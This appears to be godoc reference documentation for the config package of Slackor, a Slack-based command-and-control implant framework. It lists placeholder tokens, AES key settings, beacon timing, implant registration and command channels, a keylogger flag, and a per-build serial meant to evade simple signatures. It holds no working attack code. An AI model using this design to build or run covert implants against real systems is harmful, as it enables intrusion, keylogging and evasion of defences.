Documentation ¶
Overview ¶
Package config manages all configuration related to Slackor components.
Index ¶
Constants ¶
This section is empty.
Variables ¶
var Beacon = 5 // TODO: Make jitter configurable
Beacon is the average time in seconds (with 20% jitter) between polling
var Bearer = "BEARERTOKEN" // TODO: Rename this
Bearer is the bearer token used for the bot user
var CipherIV = []byte("1337133713371337")
CipherIV is the initialization vector for all messages
var CipherKey = "AESKEY"
CipherKey is the string value of the symmetric key used to communicate
var CipherKeyBytes = []byte(CipherKey)
CipherKeyBytes is the CipherKey converted to a byte slice
var CommandsChannel = "COMMANDS_CHANNEL"
CommandsChannel is the Slack channel to listen for commands on
var Keylogger = false
Keylogger is an internal flag to track whether the keylogger is active
var OSVersion = ""
OSVersion is the memoized operating system version string
var ParseBacktick = false
ParseBacktick controls whether to expand backticks
var ParseEnv = false
ParseEnv controls whether to expand environment variables
var RegistrationChannel = "REGISTRATION_CHANNEL"
RegistrationChannel is the Slack channel that implants announce their presence on
var ResponseChannel = "RESPONSE_CHANNEL"
ResponseChannel is the Slack channel to send responses to
var SerialNumber = "CHANGEME"
SerialNumber is a string that gets updated on every build to circumvent simple signatures
var Token = "TOKENTOKEN" // TODO: Rename this
Token is the bearer token used for the app
Functions ¶
This section is empty.
Types ¶
This section is empty.